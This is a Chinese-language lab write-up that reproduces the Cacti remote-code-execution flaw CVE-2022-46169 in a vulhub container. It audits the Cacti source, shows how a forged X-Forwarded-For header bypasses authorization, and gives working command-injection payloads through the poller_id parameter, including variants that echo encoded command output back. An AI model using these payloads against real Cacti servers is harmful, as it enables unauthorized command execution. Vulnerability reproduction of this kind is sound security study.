> 技术文档 > cacti漏洞CVE-2022-46169复现

cacti漏洞CVE-2022-46169复现

目录

1. 环境搭建

1.1 拉取

1.2 启动容器

1.3 配置断点调试

2. 代码审计

2.1 远程客户端授权

2.2 可能的命令执行处

2.3 poll_for_data

2.4 绕过授权

2.5 再探 poll_for_data

3. 思路与结果

3.1 思路

3.2 结果

4. 进一步,实现回显

4.1 分析

4.2 构造与结果

4.3 结果

5. 总结


1. 环境搭建

1.1 拉取

GitHub 上复制链接地址 vulhub。

 git clone https://github.com/vulhub/vulhub

拉取成功后,就能在本地看到 vulhub 文件夹:

1.2 启动容器

进入 vulhub 文件夹内部的 cacti 文件内夹的 CVE-2022-46169 文件夹,在这里面输入命令:

 docker-compose up -d

回显两个 done 就表示启动成功了,然后浏览器访问即可

 192.168.142.140:8080

然后按照引导一步一步安装就ok了。

1.3 配置断点调试

首先物理机的 VScode 要安装好以下插件: Remote-sshDockerdev containers。 在使用 Vcode 远程连接虚拟机,连接容器的时候需要用到。

以上插件安装好之后的具体步骤如下:

  1. 进入容器:

    1. docker exec -it

  2. 安装指定版本的 Xdebug:

    1. pecl install xdebug-3.1.6。这个版本的确定是通过一个 <?php phpinfo(); ,这里就不赘述了。

  3. 启用 xdebug 扩展:

    1. docker-php-ext-enable xdebug

    1. 重启容器:

    2. docker restart

  4. 编辑 .ini 文件:

    1. /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容: zend_extension=xdebug xdebug.mode=debug xdebug.start_with_request=yes

  5. 使用 VScode 连接容器后,为容器安装 Xdebug 插件

  6. 测试:

    1. 以上工作做完,环境就搭建好了,接下来就是代码审计了。

2. 代码审计

我们看官方给出的解法中,重点文件是 remote_agent.php

那我们就一点一点来审计一下这个文件,看一下问题出在哪里。由于文件太长,以下分析只截取部分代码,感兴趣的小伙伴可以按上述搭建坏境的方式或者直接取 GitHub 上分析源码。

2.1 远程客户端授权

 if (!remote_client_authorized()) {     print \'FATAL: You are not authorized to use this service\';     exit; }

函数名称就知道。这是一个权限的识别,如果没有这个权限,就直接 GG 了。而攻击者作为普通用户是肯定没有这个权限的,所以这里需要绕过,但是怎么绕过呢?还不知道,继续往下看。

2.2 可能的命令执行处

switch (get_request_var(\'action\')) {     case \'polldata\':         // Only let realtime polling run for a short time         ini_set(\'max_execution_time\', read_config_option(\'script_timeout\'));         debug(\'Start: Poling Data for Realtime\');         poll_for_data();         debug(\'End: Poling Data for Realtime\');         break;     case \'runquery\':         debug(\'Start: Running Data Query\');         run_remote_data_query();         debug(\'End: Running Data Query\');         break;     case \'ping\':         debug(\'Start: Pinging Device\');         ping_device();         debug(\'End: Pinging Device\');         break;     case \'snmpget\':         debug(\'Start: Performing SNMP Get Request\');         get_snmp_data();         debug(\'End: Performing SNMP Get Request\');         break;     case \'snmpwalk\':         debug(\'Start: Performing SNMP Walk Request\');         get_snmp_data_walk();         debug(\'End: Performing SNMP Walk Request\');         break;     case \'graph_json\':         debug(\'Start: Performing Graph Request\');         get_graph_data();         debug(\'End: Performing Graph Request\');         break;     case \'discover\':         debug(\'Start:Performing Network Discovery Request\');         run_remote_discovery();         debug(\'End:Performing Network Discovery Request\');         break;     default:         if (!api_plugin_hook_function(\'remote_agent\', get_request_var(\'action\'))) {             debug(\'WARNING: Unknown Agent Request\');             print \'Unknown Agent Request\';         } } function get_request_var($name, $default = \'\') {     global $_CACTI_REQUEST;     $log_validation = read_config_option(\'log_validation\');     if (isset($_CACTI_REQUEST[$name])) {         return $_CACTI_REQUEST[$name];     } elseif (isset_request_var($name)) {         if ($log_validation == \'on\') {             html_log_input_error($name);         }         set_request_var($name, $_REQUEST[$name]);         return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行     } else {         return $default;     } }

为什么说是可能呢?因为这里的 action 使用的是 get 传参得到的,一般来说,get 传参用户可控,我们的命令大概就是在这里写入的,而且从函数名称来看,大概率是在函数 poll_for_data 触发的,轮询数据,有点把数据一个一个查出来的意思。如果真是它的话,用户的可控参数就要这样写了: action=polldata

接下来我们来看看这个函数。

2.3 poll_for_data

function ping_device() {     $host_id = get_filter_request_var(\'host_id\');     api_device_ping_device($host_id, true); } function poll_for_data() {     global $config;     $local_data_ids = get_nfilter_request_var(\'local_data_ids\');     $host_id        = get_filter_request_var(\'host_id\');     $poller_id      = get_nfilter_request_var(\'poller_id\');     $return         = array();     $i = 0;     if (cacti_sizeof($local_data_ids)) {         foreach($local_data_ids as $local_data_id) {             input_validate_input_number($local_data_id);             $items = db_fetch_assoc_prepared(\'SELECT *                 FROM poller_item                 WHERE host_id = ?                 AND local_data_id = ?\',                 array($host_id, $local_data_id));             $script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*)                 FROM poller_item                 WHERE host_id = ?                 AND local_data_id = ?                 AND action = 2\',                 array($host_id, $local_data_id));             if (cacti_sizeof($items)) {                 foreach($items as $item) {                     switch ($item[\'action\']) {                     case POLLER_ACTION_SNMP: /* snmp */                         if (($item[\'snmp_version\'] == 0) || (($item[\'snmp_community\'] == \'\') && ($item[\'snmp_version\'] != 3))) {                             $output = \'U\';                         } else {                             $host = db_fetch_row_prepared(\'SELECT ping_retries, max_oids FROM host WHERE hostname = ?\', array($item[\'hostname\']));                             $session = cacti_snmp_session($item[\'hostname\'], $item[\'snmp_community\'], $item[\'snmp_version\'],                                 $item[\'snmp_username\'], $item[\'snmp_password\'], $item[\'snmp_auth_protocol\'], $item[\'snmp_priv_passphrase\'],                                 $item[\'snmp_priv_protocol\'], $item[\'snmp_context\'], $item[\'snmp_engine_id\'], $item[\'snmp_port\'],                                 $item[\'snmp_timeout\'], $host[\'ping_retries\'], $host[\'max_oids\']);                             if ($session === false) {                                 $output = \'U\';                             } else {                                 $output = cacti_snmp_session_get($session, $item[\'arg1\']);                                 $session->close();                             }                             if (prepare_validate_result($output) === false) {                                 if (strlen($output) > 20) {                                     $strout = 20;                                 } else {                                     $strout = strlen($output);                                 }                                 $output = \'U\';                             }                         }                         $return[$i][\'value\']         = $output;                         $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                         $return[$i][\'local_data_id\'] = $local_data_id;                         break;                     case POLLER_ACTION_SCRIPT: /* script (popen) */                         $output = trim(exec_poll($item[\'arg1\']));                         if (prepare_validate_result($output) === false) {                             if (strlen($output) > 20) {                                 $strout = 20;                             } else {                                 $strout = strlen($output);                             }                             $output = \'U\';                         }                         $return[$i][\'value\']         = $output;                         $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                         $return[$i][\'local_data_id\'] = $local_data_id;                         break;                     case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */                         $cactides = array(                             0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from                             1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to                             2 => array(\'pipe\', \'w\')  // stderr is a pipe to write to                         );                         if (function_exists(\'proc_open\')) {                             $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                             $output = fgets($pipes[1], 1024);                             $using_proc_function = true;                         } else {                             $using_proc_function = false;                         }                         if ($using_proc_function == true) {                             $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));                             if (prepare_validate_result($output) === false) {                                 if (strlen($output) > 20) {                                     $strout = 20;                                 } else {                                     $strout = strlen($output);                                 }                                 $output = \'U\';                             }                         } else {                             $output = \'U\';                         }                         $return[$i][\'value\']         = $output;                         $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                         $return[$i][\'local_data_id\'] = $local_data_id;                         if (($using_proc_function == true) && ($script_server_calls > 0)) {                             /* close php server process */                             fwrite($pipes[0], \"quit\\r\\n\");                             fclose($pipes[0]);                             fclose($pipes[1]);                             fclose($pipes[2]);                             $return_value = proc_close($cactiphp);                         }                         break;                     }                     $i++;                 }             }         }     }     print json_encode($return); }

迎面而来的是三个请求,第一个看起来还是一个数组。经过 debug 查看,还真是一个数组。

之后,对这个数组进行一个判断,判断之后是一个查询。 再查询的时候,出现了一个函数 proc_open

case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */                         $cactides = array(                             0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from                             1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to                             2 => array(\'pipe\', \'w\')  // stderr is a pipe to write to                         );                         if (function_exists(\'proc_open\')) {                             $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                             $output = fgets($pipes[1], 1024);                             $using_proc_function = true;                         } else {                             $using_proc_function = false;                         }

这个函数就有说法了,它会执行命令,具体查看官方文档

再往下看似乎就没有太多头绪了,那我们回来,继续分析那个授权函数,看看怎么绕过它。

2.4 绕过授权

function remote_client_authorized() {    global $poller_db_cnn_id;    /* don\'t allow to run from the command line */    $client_addr = get_client_addr();    if ($client_addr === false) {        return false;    }    if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {        cacti_log(\'ERROR: Invalid remote agent client IP Address.  Exiting\');        return false;    }    $client_name = gethostbyaddr($client_addr);    if ($client_name == $client_addr) {        cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM);    } else {        $client_name = remote_agent_strip_domain($client_name);    }    $pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id);    if (cacti_sizeof($pollers)) {        foreach($pollers as $poller) {            if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) {                return true;            } elseif ($poller[\'hostname\'] == $client_addr) {                return true;            }        }    }    cacti_log(\"Unauthorized remote agent access attempt from $client_name ($client_addr)\");    return false;}

这里先获取了用户的IP地址,那继续看这个获取IP地址的函数

function get_client_addr($client_addr = false) {    $http_addr_headers = array(        \'X-Forwarded-For\',        \'X-Client-IP\',        \'X-Real-IP\',        \'X-ProxyUser-Ip\',        \'CF-Connecting-IP\',        \'True-Client-IP\',        \'HTTP_X_FORWARDED\',        \'HTTP_X_FORWARDED_FOR\',        \'HTTP_X_CLUSTER_CLIENT_IP\',        \'HTTP_FORWARDED_FOR\',        \'HTTP_FORWARDED\',        \'HTTP_CLIENT_IP\',        \'REMOTE_ADDR\',    );    $client_addr = false;    foreach ($http_addr_headers as $header) {        if (!empty($_SERVER[$header])) {            $header_ips = explode(\',\', $_SERVER[$header]);            foreach ($header_ips as $header_ip) {                if (!empty($header_ip)) {                    if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {                        cacti_log(\'ERROR: Invalid remote client IP Address found in header (\' . $header . \').\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG);                    } else {                        $client_addr = $header_ip;                        cacti_log(\'DEBUG: Using remote client IP Address found in header (\' . $header . \'): \' . $client_addr . \' (\' . $_SERVER[$header] . \')\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG);                        break 2;                    }                }            }        }    }    return $client_addr;}

这里看起来是这样的:

  1. 从请求头这个数组里面一个一个关键字的取,看在哪里取出客户端IP地址

  2. 取出IP地址之后使用函数 filter_var 来验证地址是否合法。

  3. 如果IP地址合法就会执行 break 2 这部分。 而这里的 break 2 是有问题的,假设是 break ,那就会跳出内层的 for 循坏,这样的话外层的 for 循环还会继续取IP地址,就会导致死循环;而使用 break 2 会直接跳出两层循环,只要拿到一个合法的IP就会这样做,但是请注意,header 头里面的内容是可以伪造的,如果我们伪造出一个IP,然后 break 2,那会怎么样呢?

再回到函数 remote_client_authorized

$client_name = gethostbyaddr($client_addr);

它这里就会把得到的IP地址转换为 Hostname 。假设我们伪造的是 127.0.0.1 ,那么转化就是 localhost

localhost 在这里判断:

if ($client_name == $client_addr) {        cacti_log(\'NOTE: Unable to resolve hostname from address \' . $client_addr, false, \'WEBUI\', POLLER_VERBOSITY_MEDIUM);    } else {        $client_name = remote_agent_strip_domain($client_name);    }

由于localhost != 127.0.0.1,所以就会进入函数 remote_agent_strip_domain

function remote_agent_strip_domain($host) {    if (strpos($host, \'.\') !== false) {        $parts = explode(\'.\', $host);        return $parts[0];    } else {        return $host;    }}

这里传过来的是 client_name,它现在是 localhost,由于没有 . 所以会直接返回它本身。然后进行下一个判断:

$pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id);    if (cacti_sizeof($pollers)) {        foreach($pollers as $poller) {            if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) {                return true;            } elseif ($poller[\'hostname\'] == $client_addr) {                return true;            }        }    }

把这个返回值与数据库里查出来的 hostname比对,相等就会返回 ture,返回 ture 就能绕过一开始的远程客户授权,绕过这个就能使用命令执行。 至于数据表 poller 里面的 hostname 到底是不是 localhost 呢,是的。

那么现在我们再来看一下 poll_for_data 函数.

2.5 再探 poll_for_data

function ping_device() {    $host_id = get_filter_request_var(\'host_id\');    api_device_ping_device($host_id, true);}function poll_for_data() {    global $config;    $local_data_ids = get_nfilter_request_var(\'local_data_ids\');    $host_id        = get_filter_request_var(\'host_id\');    $poller_id      = get_nfilter_request_var(\'poller_id\');    $return         = array();    $i = 0;    if (cacti_sizeof($local_data_ids)) {        foreach($local_data_ids as $local_data_id) {            input_validate_input_number($local_data_id);            $items = db_fetch_assoc_prepared(\'SELECT *                FROM poller_item                WHERE host_id = ?                AND local_data_id = ?\',                array($host_id, $local_data_id));            $script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*)                FROM poller_item                WHERE host_id = ?                AND local_data_id = ?                AND action = 2\',                array($host_id, $local_data_id));            if (cacti_sizeof($items)) {                foreach($items as $item) {                    switch ($item[\'action\']) {                    case POLLER_ACTION_SNMP: /* snmp */                        if (($item[\'snmp_version\'] == 0) || (($item[\'snmp_community\'] == \'\') && ($item[\'snmp_version\'] != 3))) {                            $output = \'U\';                        } else {                            $host = db_fetch_row_prepared(\'SELECT ping_retries, max_oids FROM host WHERE hostname = ?\', array($item[\'hostname\']));                            $session = cacti_snmp_session($item[\'hostname\'], $item[\'snmp_community\'], $item[\'snmp_version\'],                                $item[\'snmp_username\'], $item[\'snmp_password\'], $item[\'snmp_auth_protocol\'], $item[\'snmp_priv_passphrase\'],                                $item[\'snmp_priv_protocol\'], $item[\'snmp_context\'], $item[\'snmp_engine_id\'], $item[\'snmp_port\'],                                $item[\'snmp_timeout\'], $host[\'ping_retries\'], $host[\'max_oids\']);                            if ($session === false) {                                $output = \'U\';                            } else {                                $output = cacti_snmp_session_get($session, $item[\'arg1\']);                                $session->close();                            }                            if (prepare_validate_result($output) === false) {                                if (strlen($output) > 20) {                                    $strout = 20;                                } else {                                    $strout = strlen($output);                                }                                $output = \'U\';                            }                        }                        $return[$i][\'value\']         = $output;                        $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                        $return[$i][\'local_data_id\'] = $local_data_id;                        break;                    case POLLER_ACTION_SCRIPT: /* script (popen) */                        $output = trim(exec_poll($item[\'arg1\']));                        if (prepare_validate_result($output) === false) {                            if (strlen($output) > 20) {                                $strout = 20;                            } else {                                $strout = strlen($output);                            }                            $output = \'U\';                        }                        $return[$i][\'value\']         = $output;                        $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                        $return[$i][\'local_data_id\'] = $local_data_id;                        break;                    case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */                        $cactides = array(                            0 => array(\'pipe\', \'r\'), // stdin is a pipe that the child will read from                            1 => array(\'pipe\', \'w\'), // stdout is a pipe that the child will write to                            2 => array(\'pipe\', \'w\')  // stderr is a pipe to write to                        );                        if (function_exists(\'proc_open\')) {                            $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                            $output = fgets($pipes[1], 1024);                            $using_proc_function = true;                        } else {                            $using_proc_function = false;                        }                        if ($using_proc_function == true) {                            $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));                            if (prepare_validate_result($output) === false) {                                if (strlen($output) > 20) {                                    $strout = 20;                                } else {                                    $strout = strlen($output);                                }                                $output = \'U\';                            }                        } else {                            $output = \'U\';                        }                        $return[$i][\'value\']         = $output;                        $return[$i][\'rrd_name\']      = $item[\'rrd_name\'];                        $return[$i][\'local_data_id\'] = $local_data_id;                        if (($using_proc_function == true) && ($script_server_calls > 0)) {                            /* close php server process */                            fwrite($pipes[0], \"quit\\r\\n\");                            fclose($pipes[0]);                            fclose($pipes[1]);                            fclose($pipes[2]);                            $return_value = proc_close($cactiphp);                        }                        break;                    }                    $i++;                }            }        }    }    print json_encode($return);}

它这里是这样的:

  1. 根据用户的输入查询数据库的 poller_item 表,把所有的数据拿出来

  2. 使用 for 循坏,拿数据里面的 action 对应的值

  3. 根据 action 的值执行响应的函数 当然,这里有两个过滤函数:

function get_nfilter_request_var($name, $default = \'\') {    global $_CACTI_REQUEST;    if (isset($_CACTI_REQUEST[$name])) {        return $_CACTI_REQUEST[$name];    } elseif (isset($_REQUEST[$name])) {        return $_REQUEST[$name];    } else {        return $default;    }}

另一个函数太长就不展示了,但是两个函数其实并没有过滤什么。

好,再回来,刚刚也说了,proc_open 这个函数很有说法,而想要在执行这个函数,需要满足的条件是 那么就需要 action = 2 才行。 通过查询 poller_item,得到以下内容: 第六条的 action=2 。这样一来就清晰了呀。

3. 思路与结果

3.1 思路

  1. 伪造IP绕过远程客户授权

    1. 使用关键字 X-Forwarded-For 伪造IP为127.0.0.1。然后这个IP被转化为 localhost,它再与127.0.0.1比较,由于不相等,会调用函数 remote_agent_strip_domain,这个函数判断localhost,由于 localhost 没有 . ,所以函数直接返回 localhost 本身。然后它再与从数据表 poller 查到的关键字 hostname 的值比对。由于二者相等,所以会返回 ture ,返回 ture 就绕过了远程客户授权。

  2. 想办法走到函数 proc_open

    1. 想要走到这个函数,就要先走到 poll_for_data 函数,想要走到它,那么我们可控的参数就要这样写action=polldata,进入这个函数之后,它会根据用户的输入来查询数据表 poller_item 的数据,然后使用循环,把数据表里的 action 的值取出来,如果这个 action=2,就会走到函数 proc_open 。走到这个函数的话,它就会执行我们写在这个参数 poller_id 里的命令。注意,这里的两个 action 不一样,不要搞混了。 这样一来就成功RCE了。

那么现在的问题就是怎么构造攻击语句了。 通过 poll_for_data 函数我们知道。主要的参数就是这三个:

$local_data_ids = get_nfilter_request_var(\'local_data_ids\');    $host_id        = get_filter_request_var(\'host_id\');    $poller_id      = get_nfilter_request_var(\'poller_id\');

local_data_ids:它需要传入一个数组,这个已经通过 debug 确认它就是一个数组了。这个数组只有一个内容而且要对应数据表 poller_item 的第六条数据,也就是要输入 6。

host_id:这个id不影响

poller_id:这个是我们的POC,它会被带到函数 proc_open 执行(反引号的作用)。

所以我们的 payload 就可以这样构造:

action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

3.2 结果

然后我们在 /tmp/ 目录下查看一下是否成功创建了文件 success

4. 进一步,实现回显

这个环境如果不下一点功夫的话是不会有回显的,接下来我们就把回显给搞定。

4.1 分析

首先来看一下这里

if (function_exists(\'proc_open\')) {                            $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                            $output = fgets($pipes[1], 1024);                            $using_proc_function = true;

这里就是我们的payload执行的地方,由于有函数 proc_open 。执行完毕之后,它会把内容放到管道 pipes 里,然后使用标准输出读取内容。也就是 fgets,把读取的结果给到 output然后以 json 格式打印出来。但是这里只读取了1024字节,也就是一行,不一定能读到我们命令执行的结果。

那怎么办呢?有没有读取超过一行的操作呢?继续往下看:

if (function_exists(\'proc_open\')) {                            $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                            $output = fgets($pipes[1], 1024);                            $using_proc_function = true;                        } else {                            $using_proc_function = false;                        }                        if ($using_proc_function == true) {                            $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));

这里读取一行之后,给using_proc_function赋值一个ture,然后放到函数exec_poll_php 处理,这里会不会读取超过一行呢?看一下:

function exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) {    global $config;    $output = \'\';    /* execute using php process */    if ($using_proc_function == 1) {        if (is_resource($proc_fd)) {            /* $pipes now looks like this:             * 0 => writeable handle connected to child stdin             * 1 => readable handle connected to child stdout             * 2 => any error output will be sent to child stderr */            /* send command to the php server */            fwrite($pipes[0], $command . \"\\r\\n\");            fflush($pipes[0]);            $output = fgets($pipes[1], 8192);            if (substr_count($output, \'ERROR\') > 0) {                $output = \'U\';            }        }    /* execute the old fashion way */    } else {        /* formulate command */        $command = read_config_option(\'path_php_binary\') . \' \' . $command;        if (function_exists(\'popen\')) {            if ($config[\'cacti_server_os\'] == \'unix\')  {                $fp = popen($command, \'r\');            } else {                $fp = popen($command, \'rb\');            }            /* return if the popen command was not successful */            if (!is_resource($fp)) {                cacti_log(\'WARNING; Problem with POPEN command.\', false, \'POLLER\');                return \'U\';            }            $output = fgets($fp, 8192);            pclose($fp);        } else {            $output = `$command`;        }    }    return $output;}

在这里,它把管道输出读取了 8192 字节,读取这么多,肯定有我们命令的回显。那下一个问题就是怎么利用它了。 回到这里:

if (function_exists(\'proc_open\')) {                            $cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);                            $output = fgets($pipes[1], 1024);                            $using_proc_function = true;                        } else {                            $using_proc_function = false;                        }                        if ($using_proc_function == true) {                            $output = trim(str_replace(\"\\n\", \'\', exec_poll_php($item[\'arg1\'], $using_proc_function, $pipes, $cactiphp)));

读取 8192 字节之后,把换行符的替换为空格,然后交给函数 prepare_validate_result处理,如果这个函数处理的结果是 false 的话,返回的结果是 U 这不行,那要怎么绕过呢? 看一下这个函数:

function prepare_validate_result(&$result) {    /* first trim the string */    $result = trim($result, \"\'\\\"\\n\\r\");    /* clean off ugly non-numeric data */    if (is_numeric($result)) {        dsv_log(\'prepare_validate_result\',\'data is numeric\');        return true;    } elseif ($result == \'U\') {        dsv_log(\'prepare_validate_result\', \'data is U\');        return true;    } elseif (is_hexadecimal($result)) {        dsv_log(\'prepare_validate_result\', \'data is hex\');        return hexdec($result);    } elseif (substr_count($result, \':\') || substr_count($result, \'!\')) {        /* looking for name value pairs */        if (substr_count($result, \' \') == 0) {            dsv_log(\'prepare_validate_result\', \'data has no spaces\');            return true;        } else {            $delim_cnt = 0;            if (substr_count($result, \':\')) {                $delim_cnt = substr_count($result, \':\');            } elseif (strstr($result, \'!\')) {                $delim_cnt = substr_count($result, \'!\');            }            $space_cnt = substr_count(trim($result), \' \');            dsv_log(\'prepare_validate_result\', \"data has $space_cnt spaces and $delim_cnt fields which is \" . (($space_cnt+1 == $delim_cnt) ? \'NOT \' : \'\') . \' okay\');            return ($space_cnt+1 == $delim_cnt);        }    } else {        $result = strip_alpha($result);        if ($result === false) {            $result = \'U\';            return false;        } else {            return true;        }    }}

这个函数首先把结果中的换行给去掉了,然后再处理。前面两个处理对我们来说作用不大,主要是这个函数 is_hexadecimal:

function is_hexadecimal($result) {    $hexstr = str_replace(array(\' \', \'-\'), \':\', trim($result));    $parts = explode(\':\', $hexstr);    foreach($parts as $part) {        if (strlen($part) != 2) {            return false;        }        if (ctype_xdigit($part) == false) {            return false;        }    }    return true;}

这个函数,它首先把空格、-替换为: ,然后根据 : 把结果分割为数组,然后判断数组元素的长度是否为2,然后再判断元素是否为16进制,如果都满足,就返回 ture

这样我们就有了一个判断,我们的命令执行结果要满足以下条件:

  1. 必须是16进制

  2. 最好是空格隔开

  3. 而且是一行出现,不是换行出现。

  4. 满足以上条件的命令是这样的:id | xxd -p -c 1 |awk \'{printf \"%s \",$0}\'。但是这个命令依赖 xxd,如果环境没有这个命令就很麻烦。

  5. 那么基于以上判断,我们再看函数 prepare_validate_result ,似乎不一定需要16进制。

elseif (substr_count($result, \':\') || substr_count($result, \'!\')) {        /* looking for name value pairs */        if (substr_count($result, \' \') == 0) {            dsv_log(\'prepare_validate_result\', \'data has no spaces\');            return true;        }

如果我们命令执行的结果有 : 或者 !,那就会进入下一层判断,如果我们的结果没有空格,那就会直接返回 ture。这样似乎更简单,使用 bse64 就可以满足,而且还规避了环境没有 xxd 命令的影响

4.2 构造与结果

基于以上分析,要怎么构造payload呢?这样:

1. |echo \"test\\r\\n`id | xxd -p -c 1 |awk \'{printf \\\"%s \\\", $0}\'`\";2. |echo \"test\\r\\n :`id | base64 -w0`\";3. |echo \"test\\r\\n`id | base64 -w0 |awk -v ORS=\':\' \'{printf $0}\'`\";

这里以第二条为例

编码命令:

执行:

4.3 结果

5. 总结

至此,RCE漏洞CVE-2022-46169的复现就做完了,而且还在原来解题的基础上把回显也做出来了。